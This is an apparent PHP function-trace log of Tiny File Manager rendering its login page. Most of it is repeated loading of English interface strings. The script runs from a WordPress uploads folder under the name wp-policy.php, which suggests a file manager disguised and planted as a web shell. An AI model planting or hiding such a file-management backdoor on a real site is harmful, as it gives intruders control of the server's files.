subfolders...', 'Access denied. IP restriction applicable' => 'Access denied. IP restriction applicable', 'Invalid characters in file or folder name' => 'Invalid characters in file or folder name', 'Operations with archives are not available' => 'Operations with archives are not available', 'File or folder with this path already exists' => 'File or folder with this path already exists', 'Moved from' => 'Moved from']]
3	57	0	0.007704	1293392	fm_enc	1		/var/www/html/uploads/wp-policy.php	4086	1	'Username'
4	58	0	0.007719	1293392	htmlspecialchars	0		/var/www/html/uploads/wp-policy.php	2581	3	'Username'	3	'UTF-8'
4	58	1	0.007735	1293664
4	58	R			'Username'
3	57	1	0.007750	1293552
3	57	R			'Username'
2	54	1	0.007764	1284928
2	54	R			'Username'
2	59	0	0.007779	1284768	lng	1		/var/www/html/uploads/wp-policy.php	323	1	'Password'
2		A						/var/www/html/uploads/wp-policy.php	4014	$tr['en']['AppName'] = 'Tiny File Manager'
2		A						/var/www/html/uploads/wp-policy.php	4014	$tr['en']['AppTitle'] = 'File Manager'
2		A						/var/www/html/uploads/wp-policy.php	4015	$tr['en']['Login'] = 'Sign in'
2		A						/var/www/html/uploads/wp-policy.php	4015	$tr['en']['Username'] = 'Username'
2		A						/var/www/html/uploads/wp-policy.php	4016	$tr['en']['Password'] = 'Password'
2		A						/var/www/html/uploads/wp-policy.php	4016	$tr['en']['Logout'] = 'Sign Out'
2		A						/var/www/html/uploads/wp-policy.php	4017	$tr['en']['Move'] = 'Move'
2		A						/var/www/html/uploads/wp-policy.php	4017	$tr['en']['Copy'] = 'Copy'
2		A						/var/www/html/uploads/wp-policy.php	4018	$tr['en']['Save'] = 'Save'
2		A						/var/www/html/uploads/wp-policy.php	4018	$tr['en']['SelectAll'] = 'Select all'
2		A						/var/www/html/uploads/wp-policy.php	4019	$tr['en']['UnSelectAll'] = 'Unselect all'
2		A						/var/www/html/uploads/wp-policy.php	4019	$tr['en']['File'] = 'File'
2		A						/var/www/html/uploads/wp-policy.php	4020	$tr['en']['Back'] = 'Back'
2		A						/var/www/html/uploads/wp-policy.php	4020	$tr['en']['Size'] = 'Size'
2		A						/var/www/html/uploads/wp-policy.php	4021	$tr['en']['Perms'] = 'Perms'
2		A						/var/www/html/uploads/wp-policy.php	4021	$tr['en']['Modified'] = 'Modified'
2		A						/var/www/html/uploads/wp-policy.php	4022	$tr['en']['Owner'] = 'Owner'
2		A						/var/www/html/uploads/wp-policy.php	4022	$tr['en']['Search'] = 'Search'
2		A						/var/www/html/uploads/wp-policy.php	4023	$tr['en']['NewItem'] = 'New Item'
2		A						/var/www/html/uploads/wp-policy.php	4023	$tr['en']['Folder'] = 'Folder'
2		A						/var/www/html/uploads/wp-policy.php	4024	$tr['en']['Delete'] = 'Delete'
2		A						/var/www/html/uploads/wp-policy.php	4024	$tr['en']['Rename'] = 'Rename'
2		A						/var/www/html/uploads/wp-policy.php	4025	$tr['en']['CopyTo'] = 'Copy to'
2		A						/var/www/html/uploads/wp-policy.php	4025	$tr['en']['DirectLink'] = 'Direct link'
2		A						/var/www/html/uploads/wp-policy.php	4026	$tr['en']['UploadingFiles'] = 'Upload Files'
2		A						/var/www/html/uploads/wp-policy.php	4026	$tr['en']['ChangePermissions'] = 'Change Permissions'
2		A						/var/www/html/uploads/wp-policy.php	4027	$tr['en']['Copying'] = 'Copying'
2		A						/var/www/html/uploads/wp-policy.php	4027	$tr['en']['CreateNewItem'] = 'Create New Item'
2		A						/var/www/html/uploads/wp-policy.php	4028	$tr['en']['Name'] = 'Name'
2		A						/var/www/html/uploads/wp-policy.php	4028	$tr['en']['AdvancedEditor'] = 'Advanced Editor'
2		A						/var/www/html/uploads/wp-policy.php	4029	$tr['en']['RememberMe'] = 'Remember Me'
2		A						/var/www/html/uploads/wp-policy.php	4029	$tr['en']['Actions'] = 'Actions'
2		A						/var/www/html/uploads/wp-policy.php	4030	$tr['en']['Upload'] = 'Upload'
2		A						/var/www/html/uploads/wp-policy.php	4030	$tr['en']['Cancel'] = 'Cancel'
2		A						/var/www/html/uploads/wp-policy.php	4031	$tr['en']['InvertSelection'] = 'Invert Selection'
2		A						/var/www/html/uploads/wp-policy.php	4031	$tr['en']['DestinationFolder'] = 'Destination Folder'
2		A						/var/www/html/uploads/wp-policy.php	4032	$tr['en']['ItemType'] = 'Item Type'
2		A						/var/www/html/uploads/wp-policy.php	4032	$tr['en']['ItemName'] = 'Item Name'
2		A						/var/www/html/uploads/wp-policy.php	4033	$tr['en']['CreateNow'] = 'Create Now'
2		A						/var/www/html/uploads/wp-policy.php	4033	$tr['en']['Download'] = 'Download'
2		A						/var/www/html/uploads/wp-policy.php	4034	$tr['en']['Open'] = 'Open'
2		A						/var/www/html/uploads/wp-policy.php	4034	$tr['en']['UnZip'] = 'UnZip'
2		A						/var/www/html/uploads/wp-policy.php	4035	$tr['en']['UnZipToFolder'] = 'UnZip to folder'
2		A						/var/www/html/uploads/wp-policy.php	4035	$tr['en']['Edit'] = 'Edit'
2		A						/var/www/html/uploads/wp-policy.php	4036	$tr['en']['NormalEditor'] = 'Normal Editor'
2		A						/var/www/html/uploads/wp-policy.php	4036	$tr['en']['BackUp'] = 'Back Up'
2		A						/var/www/html/uploads/wp-policy.php	4037	$tr['en']['SourceFolder'] = 'Source Folder'
2		A						/var/www/html/uploads/wp-policy.php	4037	$tr['en']['Files'] = 'Files'
2		A						/var/www/html/uploads/wp-policy.php	4038	$tr['en']['Move'] = 'Move'
2		A						/var/www/html/uploads/wp-policy.php	4038	$tr['en']['Change'] = 'Change'
2		A						/var/www/html/uploads/wp-policy.php	4039	$tr['en']['Settings'] = 'Settings'
2		A						/var/www/html/uploads/wp-policy.php	4039	$tr['en']['Language'] = 'Language'
2		A						/var/www/html/uploads/wp-policy.php	4040	$tr['en']['Folder is empty'] = 'Folder is empty'
2		A						/var/www/html/uploads/wp-policy.php	4040	$tr['en']['PartitionSize'] = 'Partition size'
2		A						/var/www/html/uploads/wp-policy.php	4041	$tr['en']['ErrorReporting'] = 'Error Reporting'
2		A						/var/www/html/uploads/wp-policy.php	4041	$tr['en']['ShowHiddenFiles'] = 'Show Hidden Files'
2		A						/var/www/html/uploads/wp-policy.php	4042	$tr['en']['Full size'] = 'Full size'
2		A						/var/www/html/uploads/wp-policy.php	4042	$tr['en']['Help'] = 'Help'
2		A						/var/www/html/uploads/wp-policy.php	4043	$tr['en']['Free of'] = 'Free of'
2		A						/var/www/html/uploads/wp-policy.php	4043	$tr['en']['Preview'] = 'Preview'
2		A						/var/www/html/uploads/wp-policy.php	4044	$tr['en']['Help Documents'] = 'Help Documents'
2		A						/var/www/html/uploads/wp-policy.php	4044	$tr['en']['Report Issue'] = 'Report Issue'
2		A						/var/www/html/uploads/wp-policy.php	4045	$tr['en']['Generate'] = 'Generate'
2		A						/var/www/html/uploads/wp-policy.php	4045	$tr['en']['FullSize'] = 'Full Size'
2		A						/var/www/html/uploads/wp-policy.php	4046	$tr['en']['FreeOf'] = 'free of'
2		A						/var/www/html/uploads/wp-policy.php	4046	$tr['en']['CalculateFolderSize'] = 'Calculate folder size'
2		A						/var/www/html/uploads/wp-policy.php	4047	$tr['en']['ProcessID'] = 'Process ID'
2		A						/var/www/html/uploads/wp-policy.php	4047	$tr['en']['Created'] = 'Created'
2		A						/var/www/html/uploads/wp-policy.php	4048	$tr['en']['HideColumns'] = 'Hide Perms/Owner columns'
2		A						/var/www/html/uploads/wp-policy.php	4048	$tr['en']['You are logged in'] = 'You are logged in'
2		A						/var/www/html/uploads/wp-policy.php	4049	$tr['en']['Check Latest Version'] = 'Check Latest Version'
2		A						/var/www/html/uploads/wp-policy.php	4049	$tr['en']['Generate new password hash'] = 'Generate new password hash'
2		A						/var/www/html/uploads/wp-policy.php	4050	$tr['en']['Login failed. Invalid username or password'] = 'Login failed. Invalid username or password'
2		A						/var/www/html/uploads/wp-policy.php	4051	$tr['en']['password_hash not supported, Upgrade PHP version'] = 'password_hash not supported, Upgrade PHP version'
2		A						/var/www/html/uploads/wp-policy.php	4055	$tr['en']['Advanced Search'] = 'Advanced Search'
2		A						/var/www/html/uploads/wp-policy.php	4055	$tr['en']['Error while copying fro'] = 'Error while copying fro'
2		A						/var/www/html/uploads/wp-policy.php	4056	$tr['en']['Nothing selected'] = 'Nothing selected'
2		A						/var/www/html/uploads/wp-policy.php	4056	$tr['en']['Paths must be not equal'] = 'Paths must be not equal'
2		A						/var/www/html/uploads/wp-policy.php	4057	$tr['en']['Renamed from'] = 'Renamed from'
2		A						/var/www/html/uploads/wp-policy.php	4057	$tr['en']['Archive not unpacked'] = 'Archive not unpacked'
2		A						/var/www/html/uploads/wp-policy.php	4058	$tr['en']['Deleted'] = 'Deleted'
2		A						/var/www/html/uploads/wp-policy.php	4058	$tr['en']['Archive not created'] = 'Archive not created'
2		A						/var/www/html/uploads/wp-policy.php	4059	$tr['en']['Copied from'] = 'Copied from'
2		A						/var/www/html/uploads/wp-policy.php	4059	$tr['en']['Permissions changed'] = 'Permissions changed'
2		A						/var/www/html/uploads/wp-policy.php	4060	$tr['en']['to'] = 'to'
2		A						/var/www/html/uploads/wp-policy.php	4060	$tr['en']['Saved Successfully'] = 'Saved Successfully'
2		A						/var/www/html/uploads/wp-policy.php	4061	$tr['en']['not found!'] = 'not found!'
2		A						/var/www/html/uploads/wp-policy.php	4061	$tr['en']['File Saved Successfully'] = 'File Saved Successfully'
2		A						/var/www/html/uploads/wp-policy.php	4062	$tr['en']['Archive'] = 'Archive'
2		A						/var/www/html/uploads/wp-policy.php	4062	$tr['en']['Permissions not changed'] = 'Permissions not changed'
2		A						/var/www/html/uploads/wp-policy.php	4063	$tr['en']['Select folder'] = 'Select folder'
2		A						/var/www/html/uploads/wp-policy.php	4063	$tr['en']['Source path not defined'] = 'Source path not defined'
2		A						/var/www/html/uploads/wp-policy.php	4064	$tr['en']['already exists'] = 'already exists'
2		A						/var/www/html/uploads/wp-policy.php	4064	$tr['en']['Error while moving from'] = 'Error while moving from'
2		A						/var/www/html/uploads/wp-policy.php	4065	$tr['en']['Create archive?'] = 'Create archive?'
2		A						/var/www/html/uploads/wp-policy.php	4065	$tr['en']['Invalid file or folder name'] = 'Invalid file or folder name'
2		A						/var/www/html/uploads/wp-policy.php	4066	$tr['en']['Archive unpacked'] = 'Archive unpacked'
2		A						/var/www/html/uploads/wp-policy.php	4066	$tr['en']['File extension is not allowed'] = 'File extension is not allowed'
2		A						/var/www/html/uploads/wp-policy.php	4067	$tr['en']['Root path'] = 'Root path'
2		A						/var/www/html/uploads/wp-policy.php	4067	$tr['en']['Error while renaming from'] = 'Error while renaming from'
2		A						/var/www/html/uploads/wp-policy.php	4068	$tr['en']['File not found'] = 'File not found'
2		A						/var/www/html/uploads/wp-policy.php	4068	$tr['en']['Error while deleting items'] = 'Error while deleting items'
2		A						/var/www/html/uploads/wp-policy.php	4069	$tr['en']['Invalid characters in file name'] = 'Invalid characters in file name'
2		A						/var/www/html/uploads/wp-policy.php	4070	$tr['en']['FILE EXTENSION HAS NOT SUPPORTED'] = 'FILE EXTENSION HAS NOT SUPPORTED'
2		A						/var/www/html/uploads/wp-policy.php	4071	$tr['en']['Selected files and folder deleted'] = 'Selected files and folder deleted'
2		A						/var/www/html/uploads/wp-policy.php	4072	$tr['en']['Error while fetching archive info'] = 'Error while fetching archive info'
2		A						/var/www/html/uploads/wp-policy.php	4073	$tr['en']['Delete selected files and folders?'] = 'Delete selected files and folders?'
2		A						/var/www/html/uploads/wp-policy.php	4074	$tr['en']['Search file in folder and subfolders...'] = 'Search file in folder and subfolders...'
2		A						/var/www/html/uploads/wp-policy.php	4075	$tr['en']['Access denied. IP restriction applicable'] = 'Access denied. IP restriction applicable'
2		A						/var/www/html/uploads/wp-policy.php	4076	$tr['en']['Invalid characters in file or folder name'] = 'Invalid characters in file or folder name'
2		A						/var/www/html/uploads/wp-policy.php	4077	$tr['en']['Operations with archives are not available'] = 'Operations with archives are not available'
2		A						/var/www/html/uploads/wp-policy.php	4078	$tr['en']['File or folder with this path already exists'] = 'File or folder with this path already exists'
2		A						/var/www/html/uploads/wp-policy.php	4080	$tr['en']['Moved from'] = 'Moved from'
3	60	0	0.009210	1293392	fm_get_translations	1		/var/www/html/uploads/wp-policy.php	4082	1	['en' => ['AppName' => 'Tiny File Manager', 'AppTitle' => 'File Manager', 'Login' => 'Sign in', 'Username' => 'Username', 'Password' => 'Password', 'Logout' => 'Sign Out', 'Move' => 'Move', 'Copy' => 'Copy', 'Save' => 'Save', 'SelectAll' => 'Select all', 'UnSelectAll' => 'Unselect all', 'File' => 'File', 'Back' => 'Back', 'Size' => 'Size', 'Perms' => 'Perms', 'Modified' => 'Modified', 'Owner' => 'Owner', 'Search' => 'Search', 'NewItem' => 'New Item', 'Folder' => 'Folder', 'Delete' => 'Delete', 'Rename' => 'Rename', 'CopyTo' => 'Copy to', 'DirectLink' => 'Direct link', 'UploadingFiles' => 'Upload Files', 'ChangePermissions' => 'Change Permissions', 'Copying' => 'Copying', 'CreateNewItem' => 'Create New Item', 'Name' => 'Name', 'AdvancedEditor' => 'Advanced Editor', 'RememberMe' => 'Remember Me', 'Actions' => 'Actions', 'Upload' => 'Upload', 'Cancel' => 'Cancel', 'InvertSelection' => 'Invert Selection', 'DestinationFolder' => 'Destination Folder', 'ItemType' => 'Item Type', 'ItemName' => 'Item Name', 'CreateNow' => 'Create Now', 'Download' => 'Download', 'Open' => 'Open', 'UnZip' => 'UnZip', 'UnZipToFolder' => 'UnZip to folder', 'Edit' => 'Edit', 'NormalEditor' => 'Normal Editor', 'BackUp' => 'Back Up', 'SourceFolder' => 'Source Folder', 'Files' => 'Files', 'Change' => 'Change', 'Settings' => 'Settings', 'Language' => 'Language', 'Folder is empty' => 'Folder is empty', 'PartitionSize' => 'Partition size', 'ErrorReporting' => 'Error Reporting', 'ShowHiddenFiles' => 'Show Hidden Files', 'Full size' => 'Full size', 'Help' => 'Help', 'Free of' => 'Free of', 'Preview' => 'Preview', 'Help Documents' => 'Help Documents', 'Report Issue' => 'Report Issue', 'Generate' => 'Generate', 'FullSize' => 'Full Size', 'FreeOf' => 'free of', 'CalculateFolderSize' => 'Calculate folder size', 'ProcessID' => 'Process ID', 'Created' => 'Created', 'HideColumns' => 'Hide Perms/Owner columns', 'You are logged in' => 'You are logged in', 'Check Latest Version' => 'Check Latest Version', 'Generate new password hash' => 'Generate new password hash', 'Login failed. Invalid username or password' => 'Login failed. Invalid username or password', 'password_hash not supported, Upgrade PHP version' => 'password_hash not supported, Upgrade PHP version', 'Advanced Search' => 'Advanced Search', 'Error while copying fro' => 'Error while copying fro', 'Nothing selected' => 'Nothing selected', 'Paths must be not equal' => 'Paths must be not equal', 'Renamed from' => 'Renamed from', 'Archive not unpacked' => 'Archive not unpacked', 'Deleted' => 'Deleted', 'Archive not created' => 'Archive not created', 'Copied from' => 'Copied from', 'Permissions changed' => 'Permissions changed', 'to' => 'to', 'Saved Successfully' => 'Saved Successfully', 'not found!' => 'not found!', 'File Saved Successfully' => 'File Saved Successfully', 'Archive' => 'Archive', 'Permissions not changed' => 'Permissions not changed', 'Select folder' => 'Select folder', 'Source path not defined' => 'Source path not defined', 'already exists' => 'already exists', 'Error while moving from' => 'Error while moving from', 'Create archive?' => 'Create archive?', 'Invalid file or folder name' => 'Invalid file or folder name', 'Archive unpacked' => 'Archive unpacked', 'File extension is not allowed' => 'File extension is not allowed', 'Root path' => 'Root path', 'Error while renaming from' => 'Error while renaming from', 'File not found' => 'File not found', 'Error while deleting items' => 'Error while deleting items', 'Invalid characters in file name' => 'Invalid characters in file name', 'FILE EXTENSION HAS NOT SUPPORTED' => 'FILE EXTENSION HAS NOT SUPPORTED', 'Selected files and folder deleted' => 'Selected files and folder deleted', 'Error while fetching archive info' => 'Error while fetching archive info', 'Delete selected files and folders?' => 'Delete selected files and folders?', 'Search file in folder and subfolders...' => 'Search file in folder and subfolders...', 'Access denied. IP restriction applicable' => 'Access denied. IP restriction applicable', 'Invalid characters in file or folder name' => 'Invalid characters in file or folder name', 'Operations with archives are not available' => 'Operations with archives are not available', 'File or folder with this path already exists' => 'File or folder with this path already exists', 'Moved from' => 'Moved from']]
4	61	0	0.009369	1293392	file_get_contents	0		/var/www/html/uploads/wp-policy.php	2425	1	'translation.json'
4	61	1	0.009403	1293432
4	61	R			FALSE
3		A						/var/www/html/uploads/wp-policy.php	2425	$content = FALSE
3	60	1	0.009430	1293392
3	60	R			NULL
2		A						/var/www/html/uploads/wp-policy.php	4082	$i18n = NULL
2		A						/var/www/html/uploads/wp-policy.php	4083	$tr = ['en' => ['AppName' => 'Tiny File Manager', 'AppTitle' => 'File Manager', 'Login' => 'Sign in', 'Username' => 'Username', 'Password' => 'Password', 'Logout' => 'Sign Out', 'Move' => 'Move', 'Copy' => 'Copy', 'Save' => 'Save', 'SelectAll' => 'Select all', 'UnSelectAll' => 'Unselect all', 'File' => 'File', 'Back' => 'Back', 'Size' => 'Size', 'Perms' => 'Perms', 'Modified' => 'Modified', 'Owner' => 'Owner', 'Search' => 'Search', 'NewItem' => 'New Item', 'Folder' => 'Folder', 'Delete' => 'Delete', 'Rename' => 'Rename', 'CopyTo' => 'Copy to', 'DirectLink' => 'Direct link', 'UploadingFiles' => 'Upload Files', 'ChangePermissions' => 'Change Permissions', 'Copying' => 'Copying', 'CreateNewItem' => 'Create New Item', 'Name' => 'Name', 'AdvancedEditor' => 'Advanced Editor', 'RememberMe' => 'Remember Me', 'Actions' => 'Actions', 'Upload' => 'Upload', 'Cancel' => 'Cancel', 'InvertSelection' => 'Invert Selection', 'DestinationFolder' => 'Destination Folder', 'ItemType' => 'Item Type', 'ItemName' => 'Item Name', 'CreateNow' => 'Create Now', 'Download' => 'Download', 'Open' => 'Open', 'UnZip' => 'UnZip', 'UnZipToFolder' => 'UnZip to folder', 'Edit' => 'Edit', 'NormalEditor' => 'Normal Editor', 'BackUp' => 'Back Up', 'SourceFolder' => 'Source Folder', 'Files' => 'Files', 'Change' => 'Change', 'Settings' => 'Settings', 'Language' => 'Language', 'Folder is empty' => 'Folder is empty', 'PartitionSize' => 'Partition size', 'ErrorReporting' => 'Error Reporting', 'ShowHiddenFiles' => 'Show Hidden Files', 'Full size' => 'Full size', 'Help' => 'Help', 'Free of' => 'Free of', 'Preview' => 'Preview', 'Help Documents' => 'Help Documents', 'Report Issue' => 'Report Issue', 'Generate' => 'Generate', 'FullSize' => 'Full Size', 'FreeOf' => 'free of', 'CalculateFolderSize' => 'Calculate folder size', 'ProcessID' => 'Process ID', 'Created' => 'Created', 'HideColumns' => 'Hide Perms/Owner columns', 'You are logged in' => 'You are logged in', 'Check Latest Version' => 'Check Latest Version', 'Generate new password hash' => 'Generate new password hash', 'Login failed. Invalid username or password' => 'Login failed. Invalid username or password', 'password_hash not supported, Upgrade PHP version' => 'password_hash not supported, Upgrade PHP version', 'Advanced Search' => 'Advanced Search', 'Error while copying fro' => 'Error while copying fro', 'Nothing selected' => 'Nothing selected', 'Paths must be not equal' => 'Paths must be not equal', 'Renamed from' => 'Renamed from', 'Archive not unpacked' => 'Archive not unpacked', 'Deleted' => 'Deleted', 'Archive not created' => 'Archive not created', 'Copied from' => 'Copied from', 'Permissions changed' => 'Permissions changed', 'to' => 'to', 'Saved Successfully' => 'Saved Successfully', 'not found!' => 'not found!', 'File Saved Successfully' => 'File Saved Successfully', 'Archive' => 'Archive', 'Permissions not changed' => 'Permissions not changed', 'Select folder' => 'Select folder', 'Source path not defined' => 'Source path not defined', 'already exists' => 'already exists', 'Error while moving from' => 'Error while moving from', 'Create archive?' => 'Create archive?', 'Invalid file or folder name' => 'Invalid file or folder name', 'Archive unpacked' => 'Archive unpacked', 'File extension is not allowed' => 'File extension is not allowed', 'Root path' => 'Root path', 'Error while renaming from' => 'Error while renaming from', 'File not found' => 'File not found', 'Error while deleting items' => 'Error while deleting items', 'Invalid characters in file name' => 'Invalid characters in file name', 'FILE EXTENSION HAS NOT SUPPORTED' => 'FILE EXTENSION HAS NOT SUPPORTED', 'Selected files and folder deleted' => 'Selected files and folder deleted', 'Error while fetching archive info' => 'Error while fetching archive info', 'Delete selected files and folders?' => 'Delete selected files and folders?', 'Search file in folder and subfolders...' => 'Search file in folder and subfolders...', 'Access denied. IP restriction applicable' => 'Access denied. IP restriction applicable', 'Invalid characters in file or folder name' => 'Invalid characters in file or folder name', 'Operations with archives are not available' => 'Operations with archives are not available', 'File or folder with this path already exists' => 'File or folder with this path already exists', 'Moved from' => 'Moved from']]
3	62	0	0.009600	1293392	fm_enc	1		/var/www/html/uploads/wp-policy.php	4086	1	'Password'
4	63	0	0.009614	1293392	htmlspecialchars	0		/var/www/html/uploads/wp-policy.php	2581	3	'Password'	3	'UTF-8'
4	63	1	0.009630	1293664
4	63	R			'Password'
3	62	1	0.009645	1293552
3	62	R			'Password'
2	59	1	0.009659	1284928
2	59	R			'Password'
2	64	0	0.009675	1284768	fm_show_message	1		/var/www/html/uploads/wp-policy.php	328	0
2	64	1	0.009689	1284768
2	65	0	0.009697	1284768	lng	1		/var/www/html/uploads/wp-policy.php	333	1	'Login'
2		A						/var/www/html/uploads/wp-policy.php	4014	$tr['en']['AppName'] = 'Tiny File Manager'
2		A						/var/www/html/uploads/wp-policy.php	4014	$tr['en']['AppTitle'] = 'File Manager'
2		A						/var/www/html/uploads/wp-policy.php	4015	$tr['en']['Login'] = 'Sign in'
2		A						/var/www/html/uploads/wp-policy.php	4015	$tr['en']['Username'] = 'Username'
2		A						/var/www/html/uploads/wp-policy.php	4016	$tr['en']['Password'] = 'Password'
2		A						/var/www/html/uploads/wp-policy.php	4016	$tr['en']['Logout'] = 'Sign Out'
2		A						/var/www/html/uploads/wp-policy.php	4017	$tr['en']['Move'] = 'Move'
2		A						/var/www/html/uploads/wp-policy.php	4017	$tr['en']['Copy'] = 'Copy'
2		A						/var/www/html/uploads/wp-policy.php	4018	$tr['en']['Save'] = 'Save'
2		A						/var/www/html/uploads/wp-policy.php	4018	$tr['en']['SelectAll'] = 'Select all'
2		A						/var/www/html/uploads/wp-policy.php	4019	$tr['en']['UnSelectAll'] = 'Unselect all'
2		A						/var/www/html/uploads/wp-policy.php	4019	$tr['en']['File'] = 'File'
2		A						/var/www/html/uploads/wp-policy.php	4020	$tr['en']['Back'] = 'Back'
2		A						/var/www/html/uploads/wp-policy.php	4020	$tr['en']['Size'] = 'Size'
2		A						/var/www/html/uploads/wp-policy.php	4021	$tr['en']['Perms'] = 'Perms'
2		A						/var/www/html/uploads/wp-policy.php	4021	$tr['en']['Modified'] = 'Modified'
2		A						/var/www/html/uploads/wp-policy.php	4022	$tr['en']['Owner'] = 'Owner'
2		A						/var/www/html/uploads/wp-policy.php	4022	$tr['en']['Search'] = 'Search'
2		A						/var/www/html/uploads/wp-policy.php	4023	$tr['en']['NewItem'] = 'New Item'
2		A						/var/www/html/uploads/wp-policy.php	4023	$tr['en']['Folder'] = 'Folder'
2		A						/var/www/html/uploads/wp-policy.php	4024	$tr['en']['Delete'] = 'Delete'
2		A						/var/www/html/uploads/wp-policy.php	4024	$tr['en']['Rename'] = 'Rename'
2		A						/var/www/html/uploads/wp-policy.php	4025	$tr['en']['CopyTo'] = 'Copy to'
2		A						/var/www/html/uploads/wp-policy.php	4025	$tr['en']['DirectLink'] = 'Direct link'
2		A						/var/www/html/uploads/wp-policy.php	4026	$tr['en']['UploadingFiles'] = 'Upload Files'
2		A						/var/www/html/uploads/wp-policy.php	4026	$tr['en']['ChangePermissions'] = 'Change Permissions'
2		A						/var/www/html/uploads/wp-policy.php	4027	$tr['en']['Copying'] = 'Copying'
2		A						/var/www/html/uploads/wp-policy.php	4027	$tr['en']['CreateNewItem'] = 'Create New Item'
2		A						/var/www/html/uploads/wp-policy.php	4028	$tr['en']['Name'] = 'Name'
2		A						/var/www/html/uploads/wp-policy.php	4028	$tr['en']['AdvancedEditor'] = 'Advanced Editor'
2		A						/var/www/html/uploads/wp-policy.php	4029	$tr['en']['RememberMe'] = 'Remember Me'
2		A						/var/www/html/uploads/wp-policy.php	4029	$tr['en']['Actions'] = 'Actions'
2		A						/var/www/html/uploads/wp-policy.php	4030	$tr['en']['Upload'] = 'Upload'
2		A						/var/www/html/uploads/wp-policy.php	4030	$tr['en']['Cancel'] = 'Cancel'
2		A						/var/www/html/uploads/wp-policy.php	4031	$tr['en']['InvertSelection'] = 'Invert Selection'
2		A						/var/www/html/uploads/wp-policy.php	4031	$tr['en']['DestinationFolder'] = 'Destination Folder'
2		A						/var/www/html/uploads/wp-policy.php	4032	$tr['en']['ItemType'] = 'Item Type'
2		A						/var/www/html/uploads/wp-policy.php	4032	$tr['en']['ItemName'] = 'Item Name'
2		A						/var/www/html/uploads/wp-policy.php	4033	$tr['en']['CreateNow'] = 'Create Now'
2		A						/var/www/html/uploads/wp-policy.php	4033	$tr['en']['Download'] = 'Download'
2		A						/var/www/html/uploads/wp-policy.php	4034	$tr['en']['Open'] = 'Open'
2		A						/var/www/html/uploads/wp-policy.php	4034	$tr['en']['UnZip'] = 'UnZip'
2		A						/var/www/html/uploads/wp-policy.php	4035	$tr['en']['UnZipToFolder'] = 'UnZip to folder'
2		A						/var/www/html/uploads/wp-policy.php	4035	$tr['en']['Edit'] = 'Edit'
2		A						/var/www/html/uploads/wp-policy.php	4036	$tr['en']['NormalEditor'] = 'Normal Editor'
2		A						/var/www/html/uploads/wp-policy.php	4036	$tr['en']['BackUp'] = 'Back Up'
2		A						/var/www/html/uploads/wp-policy.php	4037	$tr['en']['SourceFolder'] = 'Source Folder'
2		A						/var/www/html/uploads/wp-policy.php	4037	$tr['en']['Files'] = 'Files'
2		A						/var/www/html/uploads/wp-policy.php	4038	$tr['en']['Move'] = 'Move'
2		A						/var/www/html/uploads/wp-policy.php	4038	$tr['en']['Change'] = 'Change'
2		A						/var/www/html/uploads/wp-policy.php	4039	$tr['en']['Settings'] = 'Settings'
2		A						/var/www/html/uploads/wp-policy.php	4039	$tr['en']['Language'] = 'Language'
2		A						/var/www/html/uploads/wp-policy.php	4040	$tr['en']['Folder is empty'] = 'Folder is empty'
2		A						/var/www/html/uploads/wp-policy.php	4040	$tr['en']['PartitionSize'] = 'Partition size'
2		A						/var/www/html/uploads/wp-policy.php	4041	$tr['en']['ErrorReporting'] = 'Error Reporting'
2		A						/var/www/html/uploads/wp-policy.php	4041	$tr['en']['ShowHiddenFiles'] = 'Show Hidden Files'
2		A						/var/www/html/uploads/wp-policy.php	4042	$tr['en']['Full size'] = 'Full size'
2		A						/var/www/html/uploads/wp-policy.php	4042	$tr['en']['Help'] = 'Help'
2		A						/var/www/html/uploads/wp-policy.php	4043	$tr['en']['Free of'] = 'Free of'
2		A						/var/www/html/uploads/wp-policy.php	4043	$tr['en']['Preview'] = 'Preview'
2		A						/var/www/html/uploads/wp-policy.php	4044	$tr['en']['Help Documents'] = 'Help Documents'
2		A						/var/www/html/uploads/wp-policy.php	4044	$tr['en']['Report Issue'] = 'Report Issue'
2		A						/var/www/html/uploads/wp-policy.php	4045	$tr['en']['Generate'] = 'Generate'
2		A						/var/www/html/uploads/wp-policy.php	4045	$tr['en']['FullSize'] = 'Full Size'
2		A						/var/www/html/uploads/wp-policy.php	4046	$tr['en']['FreeOf'] = 'free of'
2		A						/var/www/html/uploads/wp-policy.php	4046	$tr['en']['CalculateFolderSize'] = 'Calculate folder size'
2		A						/var/www/html/uploads/wp-policy.php	4047	$tr['en']['ProcessID'] = 'Process ID'
2		A						/var/www/html/uploads/wp-policy.php	4047	$tr['en']['Created'] = 'Created'
2		A						/var/www/html/uploads/wp-policy.php	4048	$tr['en']['HideColumns'] = 'Hide Perms/Owner columns'
2		A						/var/www/html/uploads/wp-policy.php	4048	$tr['en']['You are logged in'] = 'You are logged in'
2		A						/var/www/html/uploads/wp-policy.php	4049	$tr['en']['Check Latest Version'] = 'Check Latest Version'
2		A						/var/www/html/uploads/wp-policy.php	4049	$tr['en']['Generate new password hash'] = 'Generate new password hash'
2		A						/var/www/html/uploads/wp-policy.php	4050	$tr['en']['Login failed. Invalid username or password'] = 'Login failed. Invalid username or password'
2		A						/var/www/html/uploads/wp-policy.php	4051	$tr['en']['password_hash not supported, Upgrade PHP version'] = 'password_hash not supported, Upgrade PHP version'
2		A						/var/www/html/uploads/wp-policy.php	4055	$tr['en']['Advanced Search'] = 'Advanced Search'
2		A						/var/www/html/uploads/wp-policy.php	4055	$tr['en']['Error while copying fro'] = 'Error while copying fro'
2		A						/var/www/html/uploads/wp-policy.php	4056	$tr['en']['Nothing selected'] = 'Nothing selected'
2		A						/var/www/html/uploads/wp-policy.php	4056	$tr['en']['Paths must be not equal'] = 'Paths must be not equal'
2		A						/var/www/html/uploads/wp-policy.php	4057	$tr['en']['Renamed from'] = 'Renamed from'
2		A						/var/www/html/uploads/wp-policy.php	4057	$tr['en']['Archive not unpacked'] = 'Archive not unpacked'
2		A						/var/www/html/uploads/wp-policy.php	4058	$tr['en']['Deleted'] = 'Deleted'
2		A						/var/www/html/uploads/wp-policy.php	4058	$tr['en']['Archive not created'] = 'Archive not created'
2		A						/var/www/html/uploads/wp-policy.php	4059	$tr['en']['Copied from'] = 'Copied from'
2		A						/var/www/html/uploads/wp-policy.php	4059	$tr['en']['Permissions changed'] = 'Permissions changed'
2		A						/var/www/html/uploads/wp-policy.php	4060	$tr['en']['to'] = 'to'
2		A						/var/www/html/uploads/wp-policy.php	4060	$tr['en']['Saved Successfully'] = 'Saved Successfully'
2		A						/var/www/html/uploads/wp-policy.php	4061	$tr['en']['not found!'] = 'not found!'
2		A						/var/www/html/uploads/wp-policy.php	4061	$tr['en']['File Saved Successfully'] = 'File Saved Successfully'
2		A						/var/www/html/uploads/wp-policy.php	4062	$tr['en']['Archive'] = 'Archive'
